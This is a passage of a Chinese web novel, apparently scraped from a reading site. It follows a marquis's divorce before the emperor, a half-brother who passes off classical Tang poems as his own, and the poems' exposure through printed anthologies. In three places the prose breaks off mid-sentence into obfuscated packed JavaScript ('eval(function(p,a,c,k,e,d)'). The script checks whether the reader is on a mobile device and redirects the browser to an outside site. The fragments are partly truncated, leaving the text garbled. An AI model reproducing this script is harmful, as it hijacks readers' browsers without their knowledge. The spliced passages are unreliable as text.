自此三年抱俩,五年生了二子一女,终于从一个小宫女晋升到了贵妃之位,可偏偏皇帝顾念旧情,哪怕皇后已经过世三年,依然不肯另立新后,就是想给那个病恹恹的嫡皇子保留位置,总是抱着那位能康复的幻想,或是等着下面的皇子们成长。 她的两个皇子,一个行六,一个行九,上面最大的两个皇子已经成年,还有三个皇子都已经十几岁,但母亲都是低位嫔妃,远比不上她。 原本皇帝看在护国公府的面子,在她的第二个皇子出世后,赐封她哥哥为承恩侯,让她以为自家足以与护国公府平起平坐,若是他们肯站在自己的儿子身后,扶持他们,只要一个日后能登上皇位,她便能成为全天下最尊贵的女人。 可护国公府明明已经是唐家姻亲,却不愿扶持她的儿子,甚至宁可放弃兵权赋闲在京都,都不愿站在她这一边。 所以她才会接纳唐靖远认回周氏的儿子,在她看来,林家不肯帮她,那就不值得再让哥哥委屈地忍受林氏那个母老虎。 可不喜欢林氏做嫂子,并不代表她能忍受林氏提出和离。休妻是女方之过,可以将其逐出家门,甚至净身出户。可和离的话,林氏有权带走自己的所有嫁妆。 唐家原本贫寒,唐靖远一开始也不过是二甲进士,在户部做了好几年的七品主事,哪怕后来被封为承恩侯,那些俸禄也根本不足以承担家中的支出和人情往来,更不用说支持唐贵妃在宫中的花费。 她不喜欢林氏,但喜欢林氏的嫁妆和钱。 得到承恩侯送来的消息,得知林氏竟然告上公堂要求判夫妻和离,还要唐家交出林氏的嫁妆时,唐贵妃大怒,这才婉言求了皇帝,想给扣上个林氏欺君之罪,让承恩侯休妻之余,还要带回唐铭柯和林氏的嫁妆。 只要唐铭柯还在承恩侯名下,他继承林氏的嫁妆,就会交由承恩侯打理,林氏一分银子也休想带走。 可谁能想到,面对皇帝九五至尊之威,林氏不但不怕不认罪,还反将了她一军,让她顿时就有些慌了。 承恩侯连忙说道:“启禀陛下,微臣当初在婚前遣散通房,并不知其怀有身孕,并非有意欺瞒,还望陛下明察。至于那个孩子,也是今年因为丧母失亲,成为孤儿,方才千里迢迢上京寻父。” 说着他声音哽咽,眼眶湿润,甚至抬手擦拭了一下眼角,含泪说道:“那孩子今年九岁,身高堪堪与六岁的铭哥儿齐平。虽贫弱瘦小,却一心向学,又有过人天赋,微臣也是不忍见其明珠蒙尘,才想让他认祖归宗。” “只是当初微臣曾向夫人承诺,非无子不纳妾,正值夫人有孕在身,即将临盆,所以微臣才不敢告诉夫人。只是没想到因此引起夫人误会,要求与微臣和离。” “微臣虽非有心欺瞒,但文渊的确是微臣之子,还请陛下降罪,微臣愿意领罪受罚。” 他不愿放弃唐文渊这等天纵之才,从第一眼看到这孩子写出的一首诗,就惊叹于这孩子的天赋之高,甚至超过了他精心培养的世子唐铭柯。 加上这孩子酷似自己少年时的模样,更让他心生怜悯,无论是出于反抗林氏之心,还是唐贵妃的鼓励,都让他无法割舍这个孩子。 更何况,认下自己的骨肉,就算有无心欺君之罪,那也算不得什么大错,总好过被林氏指控杀妻害女之罪,那才是真正会让他身败名裂的大罪。 此时他在皇上面前越卑微,就衬托的林氏和护国公府越嚣张跋扈,皇上本就不喜那些仗着旧日功劳嚣张跋扈的老臣,如此一对比,会如何倾向可想而知。 果然,见他如此坦然认错,在林氏面前如此卑微谦恭,忍辱含屈的模样,让皇帝看他的眼神中就少了几分厌恶,多了几分怜悯。 那来自坐拥三千后宫的至尊对不敢纳妾的惧妻男高高在上的怜悯和鄙视,让唐靖远深深低下头去,跪伏在地,肩头微微颤动着,仿佛隐忍落泪,不敢让人看见。 林夫人听得一阵牙酸,忍不住说道:“你我夫妻十年,我为你生儿育女,操持家务,侍奉婆母,送终守孝,你竟然都不肯告诉我那个孩子的存在,还让人设计铭哥儿害我早产,若不是铭哥儿机灵唤醒我,我那日就死于产房之中……” “林氏,你说这些,可有人证物证?”唐贵妃打断她的话,说道:“若有实证,直接告他便是。若是无凭无据,污蔑诽谤自己的夫君,可是犯了七出之过,当被休弃!” 林夫人恨恨地瞪了承恩侯一眼,“那两人在我醒来后就跑去找他,被他命人打死……” 承恩侯叹了口气,说道:“夫人误会了。她们服侍夫人不利,害夫人难产,还顶撞欺负铭哥儿,我这才命人杖责以儆效尤,不想她们畏罪自尽,并非我命人打死的啊!” 若不是在皇帝面前,林夫人都想直接抽他一个大耳光子。 当时她刚刚生产完,身体虚弱,铭哥儿能守住她的产房,私下里偷偷给护国公府送信找人已是不容易,哪里还能找到人手去守住人证物证。 别说是王嬷嬷和红叶,就连那两个接生婆,事后都“畏罪自杀”了,至于鸡汤参片,倒是丝毫没有掺假,只是没有按时给她服用罢了。 若不是铭哥儿将她唤醒,她在昏迷之中流血而死,就算林家再来人,也根本查不出她被人害死的证据。 正如唐贵妃所言,若是有这些证据在手,她何止要告和离,绝对要告他杀妻,要他的狗命才是! 现在,为了铭哥儿和慧娘,她如此忍让,这唐家兄妹竟然还得寸进尺,反咬她一口,真是让她怒从心头起,恨不得将这个伪君子当场撕下面皮,挖出心肝来,看看是不是已经又黑又烂。 皇帝看到她气得面色涨红,双手握拳,不由哂笑一声。 “说到底,这本是你们二人家事。当初朕为你们赐婚,也是希望你们结两姓之好,永结同心。可如今才过十年,闹得夫妻和离,岂不是说朕识人不明?” “林氏你膝下仅有一子,唐家三代单传,你既然身为宗妇,当担起为唐家传继香火,开枝散叶之责。岂可因嫉妒而生怨,误了唐家子的前程?” “承恩侯,既然你说那孩子天赋过人,比之你家铭哥儿如何?” 承恩侯大喜过望,抬起头来说道:“回禀陛下,那孩子未曾正式拜师进学,只是凭借在私塾外听人教书,自学成才,便能出口成诗,天赋之高,乃是微臣生平仅见。” “若是以后能得名师教导,定然能成为国之栋梁。” “好!好一个国之栋梁!”皇帝微微颔首,说道:“听贵妃说,他还从南方带来了一种两季稻种?” “正是!”承恩侯虽喜好诗文,却也不是不通政务之人,当然知道历朝历代以农为本,这次让唐文渊认祖归宗,除了他文采出众外,就是因为他带来的一小包稻种。 听那孩子说这稻种是从南越而来,在南方能够一年两种,虽然比不上江南稻米甘甜味美,但高产足以弥补这小小的缺点,对于经常闹水寒灾害导致饥荒的大燕王朝来说,简直比黄金还要贵重。 他便让人以唐文渊的名义送进宫,由唐贵妃直接进献给皇帝。 否则就算唐文渊认祖归宗,当初他母亲不过是唐靖远的一个通房,后来又被逐出家门,他连个庶子的名分都很难拿到。 可有了这个献良种的功劳,不仅可以给唐文渊一个正式身份,而且还能让唐贵妃兄妹都跟着领一份功劳,这可不比护国公以前镇守边疆的功劳逊色,足以让他与林氏分庭抗礼。 “文渊母子流落到南越蛮荒之地,思乡之余,也希望我大燕得此良种,能让天下百姓再无饥荒之苦。故而不远千里之遥,上京认亲,也是希望能由微臣将其进献给陛下,请陛下推行全国,恩泽万民。” 林氏听得一颗心直往下坠,她这一个月虽说在温泉山庄坐月子,可是也请兄长派人去查那个唐文渊的来历,却没想到这孩子小小年纪,竟然如此心机深沉。 有这等功劳在身,等于给自己绑了个护身符,就算是她,若是敢动他,不光会惹得皇帝震怒,还会让天下人唾骂,连累整个护国公府的名声。 皇帝转头望向她,“林氏,此子虽非你所生,但天赋过人,又有如此忠君爱民之心,你多个好儿子又如何?以他的天赋才华,以后定能通过科举入仕,不会与你家铭哥儿争夺世子之位……” “请陛下恕罪。”林氏一咬牙心一横,跪下说道:“臣妾在意的不是这个孩子,而是承恩侯欺瞒之心。既然夫妻已非同心,又何必勉强?铭哥儿也不在意世子之位,还请陛下准许臣妾和离,带铭哥儿慧娘自立门户。” “自立门户?”皇帝一怔,“你还要带走两个孩子?” 他转头望向承恩侯,“承恩侯愿意?” 承恩侯苦笑了一下,叹息一声,说道:“微臣教子无方,那逆子火烧宗祠,离家出走,不愿留下。” 唐铭柯在公堂之上所说的一切,都有书记官记录在案,早晚会呈送到皇帝面前,他瞒不过去,只能含糊地解释,不是他不要这孩子,而是这逆子自己要走。 皇帝若有所思地点点头,看了眼林夫人,“看来他更像其母啊!” 刚烈执拗,宁为玉碎,不为瓦全。 得不到一心一意的感情,便宁可全然放弃,绝不留情。 “朕记得承恩侯世子是六皇子的伴读,今年才到上书房读书,便得到几位侍讲学士的夸赞。若是离开承恩侯府,便不能再进宫伴读,林氏,你可知晓?” 林夫人挺直脊背,冷静地点头,“臣妾明白。正如陛下所言,铭哥儿也不在意世子之位,愿意与臣妾同出唐家,自立门户。他自己能通过科举入仕,不求父荫。” 皇帝笑了笑,“铭哥儿还是朕亲口封的神童,若是没有名师教导,耽误了学业岂不可惜?” 唐贵妃轻哼一声,说道:“如此顽劣不孝之子,便是有点小聪明,如此娇宠纵容,以后也未必能有多大出息。” 她已经听出来,皇帝虽然念在献稻种之功,准许唐文渊认祖归宗,却对林氏并不想强加责罚,恐怕还是看在老护国公的面子上,不让唐靖远用休妻之举来打护国公府的脸。 其实若不是林夫人执意要回嫁妆,她也没想让承恩侯留下唐铭柯,那孩子进宫伴读没几天,既不肯帮着自己儿子做功课,还抢了他的风头,让侍讲学士屡屡挑六皇子的毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陛下——”唐贵妃心有不甘,刚喊了一声,抬眼就看到皇帝冷冽的眼神,顿时将未出口的话又咽了回去,悻悻地瞪了一眼林夫人,心中暗骂不已。 若不是你投得个好胎,有护国公府庇护,今日不扒你一层皮下来才怪! 只是想到要替承恩侯填补林夫人的嫁妆亏空,唐贵妃就心疼欲死。 至于儿子要换伴读的事,她是一点儿也不在乎。 承恩侯和林夫人谢恩过后,便由小太监领着出宫,皇帝也起驾离开了琼华宫,回到明德殿时,就看到了早已经等候在殿外的护国公林熔。 “老臣见过陛下!” 皇帝亲手将护国公扶起,叹道:“朕已经准许承恩侯夫妻和离,只是令嫒执意要带走一双儿女自立门户,放弃承恩侯世子之位……” 护国公浑不在意地说道:“无妨。好儿不吃分家饭,有本事的话,自己考取功名,不比什么世子来得风光。” 皇帝却摇头苦笑道:“可惜朕的那几个皇子,刚得了个出色的伴读,能督促他们读书上进,如今就要重新选人了。” 护国公哈哈一笑,和林夫人一样,压根就没觉得这伴读是什么好差事。 就连林夫人回到家中与林铭柯一说,林铭柯也连连点头,心有余悸地摊开自己的小手,亮出手心的两处茧子给母亲看。 “这都是上次六皇子没有背书,我替他挨板子留下的茧子。” 林夫人心疼地摸了摸,吹了口气,又忍不住问道:“皇上说你在上书房表现优异,得了几位侍讲学士的夸赞,他们怎地还舍得打你?” 林铭柯没好气地说道:“那有什么办法,皇子犯错伴读挨打。我若是不表现的好一点,挨打后可不止是留下点茧子,五皇子和七皇子的伴读,手都被打肿得握不住笔呢!” 说着,他有点得意地说道:“程学士就是知道我被六皇子连累,心疼我,不光打得轻,事后还给我用太医院特制的药膏治疗,没多会儿就不疼了。” 林夫人没好气地说道:“我看唐贵妃那样子,恐怕就是因为你得了夸奖,六皇子反而被罚,才让那伪君子将你禁足。你也是的,在皇子面前,何必强出风头?” “那当然是因为我不想当伴读啊!”林铭柯冷笑道:“承恩侯是为了让我帮六皇子才让我去当伴读,我若是帮他作弊,让他出风头,自是可以留下。可这种当狗的日子,谁愿去谁去,我才不去!” 林夫人一怔,看着儿子的手,眼圈一红,“你这孩子,为什么不早些告诉娘?” 她还以为,承恩侯送儿子进宫当伴读,是为了给他争取那些大学士的教导,皇子们的老师,都是当朝最顶尖的文人,能够得到他们的教导,以儿子的天赋,肯定能够更上一层楼。 所以当皇帝说儿子不能再当伴读,损失了如此厉害的良师教导,她的确有些遗憾,对儿子心怀歉疚,更是下定决心,就算再多花钱,也要为儿子找到良师教导。 只是没想到,这伴读当的,竟是如此憋屈。 林铭柯伸手抱住她,任由她轻轻抚摸着他的小手,满心幸福。 “娘当时怀着妹妹,孩儿岂能用这点小事来打扰你。现在不是正好,不用去当伴读,不用再去受那份气,孩儿高兴还来不及呢!” 说着,他忽然笑了一下,“阿娘,你刚才说那个唐文渊进献良种,得到皇上嘉许,不知道贵妃娘娘,会不会选他去给六皇子当伴读呢?” 林夫人翻了个白眼,“谁爱去谁去,反正我家铭哥儿以后再也不当什么伴读,要当就当个状元郎,跨马游街,给娘争个诰命回来!” 母子俩笑作一团,对那九重宫阙毫无留恋。 他们不在意的,对于其他人来说,却是求之不得。 唐文渊一听还有这好事,简直大喜过望。 他今日在公堂上,已经很努力地表现,想要吸收一些文气来给系统充能,可是没想到,不光是已经荒废多年的老父亲身上没什么文气,就连堂堂的燕京知府,也是满腹油膏,根本没几分文气提供给他。 这还都是昔日的进士,能够在三年大考的几千举人中脱颖而出的才子,居然在官场上打滚十载后,都变成了老油条,满腹才华成空,想要榨点文气都榨不出来。 如果能够成为皇子伴读,进入上书房,那里往来的不光有侍讲学士,还有不定期去讲经的大学士,都是整个大燕朝最有才华的一批人,对他来说,那简直就是老鼠掉进了米缸中,可以尽情尽兴地吸收个饱。 “说不定,比只吸收唐铭柯一个人的文气还要来得更给力呢!” 唐文渊万分期待成为伴读的那一天,期待进入上书房,亲眼见到那些昔日的状元探花榜眼,如今的大学士们。 “肯定会有无数文气如同长江之水,滔滔不绝,让我成为大燕朝空前绝后、旷古绝今的天下第一才子!” “当状元,穿红袍,娶公主,成为人生赢家的日子,马上就要来了!” 9. 第 9 章 第九章 燕京的茶楼酒肆中,今年最热门的话题,就是承恩侯夫妻和离,和承恩侯的两个神童儿子。 前任世子唐铭柯早就是燕京城街知巷闻的小神童,据说还得到过皇上的金口玉言夸赞,连负责教导皇子们的大学士都对他赞不绝口。 只是他在承恩侯夫妻和离时,居然叛出家门,跟着林夫人改姓,放弃世子之位,倒是让所有人对他印象大变,可以说是两极分化,说他好的是孝顺母亲,说他不好的是忤逆父亲…… 不过自从他跟着林夫人到温泉山庄居住后,就很少在京城露面,更不会参与那些权贵世家的文会宴席,自然也就少了许多出风头的机会,反倒是那个刚被承恩侯认回来的儿子唐文渊,跟着他出入宫宴和各种文会,屡屡出口成诗,作出一些令人惊叹不已的绝妙诗词,完全将唐铭柯的名声压了下去。 甚至连六皇子的伴读之位,也被这位承恩侯府的新少爷取代,据说要不了多久,承恩侯还会为他请封,成为新的承恩侯世子。 这就让人们都忍不住在想,这到底是孩子聪明呢,还是承恩侯会“教”孩子呢? “说起来,当初承恩侯也不过是二甲进士,也没有多大的名气,这两个小的倒是青出于蓝而胜于蓝啊!” “真的假的,我怎么觉得,连书都没读过的孩子就能做出这种诗……呵呵,难道就不是寻了人代笔?” “你若能写出‘云想衣裳花想容’、‘落霞与孤鹜齐飞,秋水共长天一色’这种诗句,还用得着给人代笔?” “那倒是,云想衣裳花想容……真是什么样的脑子,才能想出这样的诗句啊!” “我还是觉得那句‘飞流直下三千尺,疑似银河落九天’气势磅礴,简直就是诗中仙品,百年、哦不,千年难得一见啊!” “一个不到十岁的孩子,能千里寻父,这等毅力和胆气,也的确配得上这等文采!” “十岁的孩子啊,这等天分,真是吾等远远不及啊!” …… 无论是在哪里,大家说到最后,一是羡慕承恩侯的儿子运,二就是感叹唐文渊的文采,毕竟像这样令人头皮发麻的绝品诗词,有的人一辈子恐怕都想不出一句,而这个孩子还不到十岁,短短几个月间,就已经做出了六首,每一首,都堪称极品,就算是翰林院的学士们,都不得不为之叹服,甚至无法改动一词一字。 尤其是他在跟随承恩侯进宫面圣,第一次见到唐贵妃时,为她写出的那首“云想衣裳花想容”,当场让唐贵妃感动到落泪,皇帝龙心大悦之下,不但答应了承恩侯立他为世子的要求,还准许他追认唐文渊的亡母周氏为续弦,就是为了给他一个嫡子的身份。 消息传到温泉山庄林夫人母子的耳中,让林夫人不由冷笑不已。 “好一个爱子情切,连续弦都续到死人头上了,这两父子,吃死人饭真是吃上瘾了呢!” 林铭柯点点头,可不是吗?上一世那两人不光吃周氏的名声,还吃林夫人母女的遗产和名声,打造得一个个情深义重,才华无双的名声,可实际上呢? 如果不是从系统那接收到上一世的记忆和唐文渊那个世界的信息,他根本不会知道,唐文渊还“吃”着那个世界两千年历史中最精华最出众的诗人们的遗作。 在他的记忆中,自诩“文抄公”不说,还觉得自己是将那个世界的文化传播到这个世界来,不但不以为耻,反而觉得十分骄傲自豪。 是“站在五千年传统文化”、“历史名人”肩上的文化继承者和传播者。 真是恬不知耻! “娘,我交给你的那几本诗集,现在印制的怎样了?” 林铭柯从离开承恩侯府之后,在温泉山庄每日的练字,就改成了默写,将接收到的来自唐文渊那个世界的信息默写下来,第一步就默写那些有名的诗词。 《唐诗三百首》、《宋词三百首》…… 这些本该属于他们的荣耀和声名,哪怕在另一个世界,也不该被人剽窃掠夺。 林夫人点点头,有些担心地看着儿子,“娘的陪嫁中,就有一家书坊,以前都是印制一些四书五经、时文和话本出售,也有些名家的诗集和文集寄卖的,算不得赚钱,但人手齐备,已经完成雕版,这两日便能印出来。” “只是这些诗词……你是从哪里得来?那些叫李白、杜甫、苏轼的人,为娘怎地从未听说过?” 第一次看到儿子默写出来的诗集,除了惊叹里面的诗词文采斐然,令人惊才绝艳之外,作者那是真的一个都不认识没听说过,感觉自己像个一无所知的文盲。 林铭柯看出她的担忧,“娘,我之前不是说过,当初被承恩侯罚跪在祠堂的时候,我昏迷过去,做了个梦,梦到他们害死你,又害死了我,在那个梦里,我看到唐文渊根本不会作诗填词,他所有的诗词,都是从这两本诗集中抄来的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716373|173729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林夫人心疼地看着他,“可怜的儿,那梦里……你受苦了!” 林铭柯笑笑,“没事的,都过去了,一个梦而已。倒是没想到,梦里的许多事,都是真的。” “是啊,都过去了。现在我们知道了,就不会再让那个噩梦成真。”林夫人点头说道,“不过你为什么不先写出那些诗,以你的名字发出去,那样肯定比他的名声更响。” 林铭柯摇摇头,十分认真地说道:“娘不是教过我,不是我的东西,不能要。这本不属于我的名声,我要来也是有害无益。自己到底有几斤几两,别人不清楚,自己还不知道吗?” “好孩子。”林夫人忍不住笑了起来,这才是她真正的儿子,像她一样有着自己的骄傲,才不稀罕要那些偷来的东西。 忽地她又转念一想,“你说……唐靖远知不知道他儿子这些诗是抄来的?” 林铭柯哂笑一声,“怎么可能不知道?” 那么多首诗,每首诗的风格不同,经历不同,情怀不同,甚至能够从诗句背后,看到诗人饱经沧桑的心境和阅历,那岂是一个十岁的稚童能够轻而易举地写出来的? 尤其是唐文渊将李白写给杨贵妃的诗写给了唐贵妃,可他哪里知道,这诗句之间,词句浓艳,字字流葩,借花喻人,以人比花,读之如春色满园,美色迷离,绝对是曾经风月的风流才子所写,哪里是个幼童能懂的韵味。 只不过很多事,无论是承恩侯还是唐贵妃,甚至就连皇帝在内,都是看破不说破。 反正没有其他人出面说自己是原作者,更无人能够写出同等级别的诗词,唐文渊敢拿出来,就不怕有人来抢。 能够有这样一个出色的儿子/外甥,承恩侯和唐贵妃骄傲都来不及,又怎么可能去揭穿这张画皮。 至于皇帝,没人揭穿,那他治下又多了个天才神童,说明他的文治之盛,堪称旷古绝今,当然也是史官们会大书特书的他的功绩。 这种好事,谁又会去揭穿? 至于那些普通文人,就算有怀疑,怀疑是承恩侯自己写了让儿子出名,或者找人代笔,可是这能写出这样的诗句,谁又舍得让给一个孩子? 别说这么多首,哪怕真有一首,都足以名动天下的! 找不到原作者,就只能捏着鼻子含酸认下这孩子的神童之名。 直到有一天,一家书坊里摆出来《唐诗三百首》、《宋词三百首》…… 10. 第 10 章 “李白?杜甫?苏轼?这都是什么人?为何在这诗集之中,那唐文渊作诗词,竟然署的是他们之名?” “啧啧,若是真有这些人存在,曾经做过这些诗词,为何从未有人听闻?” “还有这唐宋是何朝何代?闻所未闻,简直是咄咄怪事!” “不过有作者简介,据说是与我们大燕国隔海的一片大陆上的国家,据说是秦末出海的汉人后裔,在那边也建了个大国,朝代更迭了上千年呢!” “我就说嘛,那孩子当初传出来的诗词,一看就是阅历丰富的成年人所作,哪里是个孩子能有的心境啊!” “哈哈,这神童果然是假的!那承恩侯还真是不要脸,不知道从哪里弄了本诗集,就冒充是自家孩子所作,也不看看那些诗,是一个十岁孩子能写出来的吗?” “原来那首《清平调》是李白为杨贵妃而写的啊,一共三首,前后呼应,以花喻人,这等华丽辞藻,浓艳春情,哪里是个毛都没长齐的孩子能懂的!” “是极是极!‘一枝秾艳露凝香,云雨巫山枉断肠。’啧啧,难怪那孩子不敢抄这一首啊,嘿嘿!” 懂得都懂,一众“才子”们的话题开始跑偏,开始讨论起到底是那位李白笔下的杨贵妃漂亮,还是当今的唐贵妃美丽。 又有人从《唐诗三百首》里找出《长恨歌》,用那一句“回眸一笑百媚生,六宫粉黛无颜色”来对比,说那几位诗集中的诗人都为杨贵妃写诗,真是倾国倾城的美人。 如此一来,大家从诗词开始讨论到美人,都兴致勃勃地开始YY起能得到这些诗人如此美誉的杨贵妃,到底是何等美丽的绝色佳人。 唐贵妃那是当今皇帝的女人,大家自然不能随便议论,但对于这不知名国度的诗中美人,当然可以成为他们今日最火热的谈资。反正那里的皇帝,总不能活过来漂洋过海地来抓他们吧! 只是就算他们不敢议论唐贵妃,可唐贵妃知晓此事后,反而更加难受,却又不敢向皇帝抱怨哭诉,毕竟那可是自己的亲哥哥带着唐文渊进来献诗,本来是为了给自家长脸,现在却成了打脸,让她如何能不难受。 “查!让承恩侯去查,到底是谁拿出来的这些诗集在卖!” 这件事并不算难查,因为林夫人压根就没掩饰或隐藏自己的东家身份,最初售卖诗集的书坊是她的陪嫁铺子,唐家的人并不是不知道。 尤其是这几家书坊和两家酒楼,原本都已经交给承恩侯,由老管家帮着打理,掌柜们都是直接向他报账,方便承恩侯在外应酬开销,免得要花点钱还得找林夫人支钱。 这也是林夫人特地给他做的脸面,生怕他因为清高自傲不屑赚钱而没钱花,被别人笑话吃软饭。 在她和承恩侯和离后,这些铺子的掌柜们也都重新向她报账,就连今年承恩侯在外面花销签下的账单,也都一并送去承恩侯府,他们林家的铺子可不会再替唐家的人付账。 所以林夫人在让他们印制售卖诗集的时候,根本没有遮遮掩掩,正大光明地售卖,还特地说这些都是林家从海外回来的商队带回来的,据说也是失传已久,就剩下这两本破破烂烂的书,原本都是被人用来垫桌子的,没想到被识字的人看到后,惊为天人,重金买下来带回大燕。 谁能想到,最近燕京疯传的小神童,做出的极品诗词,就是从这两本诗集中抄来的呢? 承恩侯让人出去一问,得知是林夫人的手笔,气得回家摔了套茶杯后,依然无可奈何。 就连皇帝都要看在护国公的面子上,准许她和离带走自己的嫁妆,几乎掏空了承恩侯的家底和唐贵妃的私房。 如今要是再惹上她,承恩侯不敢想象她会做出什么事。 两人成亲这十年来,虽不说举案齐眉,也是相敬如宾,林夫人听他的话,收敛了性子,让他几乎都忘了,最初自己不大愿意娶她的原因之一,就是护国公千金是京都出了名的泼辣厉害。 只是她对外人厉害,却从未对他有什么不敬,直到这次和离,他才第一次认识她真正的模样。 就是个母老虎啊! 还是个护犊子的母老虎。 他现在开始有些后悔起来,如果不是急着给唐文渊扬名,想要证明自己为了这个儿子放弃林夫人的儿子是无比正确的,想要补偿童年的自己,他也不会这么急着让唐文渊参加各种文会和宴会,靠着诗词扬名。 虽说那些诗词的确十分惊艳,让他也震惊不已,曾经怀疑过这是否是一个十岁小孩能写出来的,可转念一想,他也是饱读诗书的人,都从未听过这些诗词,也不见唐文渊跟外人有接触,那肯定不会是找的枪手,只能说是唐文渊少年老成,更可怜他年幼丧母,一路风霜艰险,才能有这般阅历写出这等诗词。 结果打脸就来得如此之快,唐文渊拿出来的才不过六七首诗,在家里给他看过的还有两首,准备留着明年元宵夜发出去的,全都被那两本诗集一字不差地刊发出去。 这怎能不让承恩侯颜面扫地,气急败坏呢? 连上朝的时候,都有人问他,为何得到这海外诗集,不用来自己扬名,反而替儿子扬名,这个儿子的神童之名是假的,那上一个呢?是不是也是靠他弄虚作假? 说他的时候其他人都笑着看热闹,可是一提到上一个,同在朝堂之上的老护国公不干了,不屑地说他的孙子才不屑抄什么诗词,他那神童之名,是能过目成诵,是记性好悟性好,由老师们当堂教导考核得出来的名声,可不是靠抄别人的诗词来扬名的。 大家这才知道,那位承恩侯前世子,现在已经跟着自立门户的林夫人生活,甚至改姓为林,据说明年就要参加童生试,顿时一片哗然,看向承恩侯的眼神就格外不同了。 这位是为了个抄袭诗文的假神童,放弃了一个真正的小天才,不知是眼瞎了还是脑子坏了? 有护国公在,大家自然不敢再说林铭柯,都在调侃承恩侯,问他家的那个新儿子明年要不要也参加童生试,如果不敢参加的话,继承他的爵位当个世子也是今生修来的福气。 承恩侯素来以自己的文采为傲,更以自己教子有方为傲,在外面无论是当初的唐铭柯还是现在的唐文渊,都是给他扬名的份,如今一朝翻车,被人嘲讽调笑,哪里能忍得住,干脆就告病早退,直接回家闭门不出。 其实他也是心虚,自从在诗集中看到《清平调》原作者李白写给杨贵妃的是三首诗而不是唐文渊交出的那一首诗,就怕皇帝和唐贵妃会找他算账,没见本该这两日就发下来的承恩侯世子封诰,忽然就没了音信,他都没敢去礼部询问。 今日笑话他的人里,就有一位是礼部侍郎。 当初他曾经带着唐铭柯和唐文渊参加文会的时候,几次将那位侍郎之子比下去,让对方颜面无光,如今轮到他爆出弄虚作假之名,对方自然不会放过这等机会。 回到府中,他便命人叫来了唐文渊,面色深沉地说道:“如今整个燕京,甚至连其他州府都已经有《唐诗三百首》和《宋词三百首》出售,你那些诗文,已经被人翻出来说你抄袭,以后不能再用了。” 唐文渊也是第一时间就听说了,只不过他是从唐家下人口中得知的。 如今的承恩侯府,下人已经不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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现在府中的一应开销都缩减,下人们的月钱也减半,自然怨声载道,一听到外面的传言,就有人忙不迭地传入府中,想要看这位新少爷的笑话。 在他们看来,若不是有这个新少爷的出现,侯爷也不会与夫人和离,还让夫人带走了世子。 若是世子留在府中,林夫人看在儿子的面上,肯定会留下一部分嫁妆供他生活开销,哪里会像现在一样,整个侯府都成了空架子。 这个新少爷,尤其是个表面光的绣花枕头。 只是唐文渊并不紧张,略略叹了口气,便说道:“此事是孩儿不对,孩儿原本想尽快扬名,为父亲争光,才借用了那些古人之作。只是那些古人并非我大燕之人,没想到会被人传入……是孩儿的错,以后孩儿不会再靠这些诗文争名,明年的童生试,孩儿也愿去一试。” “此外,孩儿在南方除了双季稻外,还曾经见过那些海外商人制造贩卖琉璃,孩儿便偷偷跟着学习了一番制造琉璃之术,若是父亲愿意,孩儿愿意将方子献上,侯府若是多个琉璃工坊,也能多个进项……” 他一提双季稻,承恩侯就哑火了,就光凭这孩子千里迢迢带回来献给皇帝的双季稻,推广下去,能够活人无数,就足以让皇帝给他一份功劳,至于那点抄袭的名声…… 文人之间,抄袭那点事能算抄吗,那是借鉴,是引用,是传播…… “好吧,你把方子交给我,这事我去办,你就专心准备应试,明年的童生试,你弟弟可是要与你同场赴考的。” “是!”唐文渊应下,平静地小脸上毫无表情,一点儿也不激动。 同场赴考?那也得他能去考试才行啊! “啊啊啊阿嚏!”林铭柯正在抄《春秋》集注时,忽然打了个喷嚏,不但没有担心自己感冒,反而笑了起来。 这两天满燕京城都在传颂《唐诗》、《宋词》,自然也少不了会将唐文渊和他一起拿出来说事比较,他听得多了也就习惯了。 至于别人怀疑他的“神童”含量,他也丝毫不在意。 反正,明年童生试上,是骡子是马,拉出来一试便知! 11. 第 11 章 第十一章 大燕并不禁海商,甚至还在沿海的大城市中都设立了市舶司,每年从海商那收取的赋税数额,甚至超过了大半个王国的田税,哪怕为此要维持一支庞大的水军,朝廷还是没舍得放弃这条财路。 更何况,现在基本上所有的大海商背后,都有朝廷勋贵或高官做靠山,就连皇家也拥有好几支船队,几条最赚钱的航线上都有他们的影子。 护国公府乃是开国元勋,在军中的影响深远,自然也少不了有子侄姻亲在水军中做事,各家联合组成船队出海经商也是常事。 朝廷禁止官员经商,可不能限制到女眷们的嫁妆经营,所以对于高门勋贵来说,一个当家主母,除了生儿育女之外,主持中馈,能够让家族财富不断增长,才是最重要的一点。 虽说大燕不限制商户子参加科举,但是一旦考上举人之后,就得将名下的商铺转到家人名下,否则作为官员经商,与民争利,就会遭到御史弹劾。 当官还是做生意,只能二选一。 于是官员们就只能将家中的商铺农庄,转到妻子名下,以打理嫁妆为名,其实也是掩耳盗铃之举。 无论在谁的名下,该获的利一点儿也没少,只是多了这么一层遮羞布罢了。 承恩侯的爵位来自荫封,是因唐贵妃生育皇子,位阶晋升而得,从原本的七品礼部主事,直接连升了六级,成为正四品的鸿胪寺少卿,可对他来说,却并非什么好事。 他原本就清高自傲,耻于谈钱,原本有母亲操持家务,后来妹妹进宫养家,他就一心读书,努力考试,可以说是从未亲身体会过赚钱的辛苦。 只是以前也过过苦日子,并不觉得没钱会怎么难熬,直到林夫人离开后,承恩侯才发现,真的是由俭入奢易,由奢入俭难,过惯了仆婢如云,衣来伸手饭来张口的日子,如今一下子少了人伺候,一盘账发现连下个月给仆人和护卫们的月钱都要发不起的时候,他终于急了。 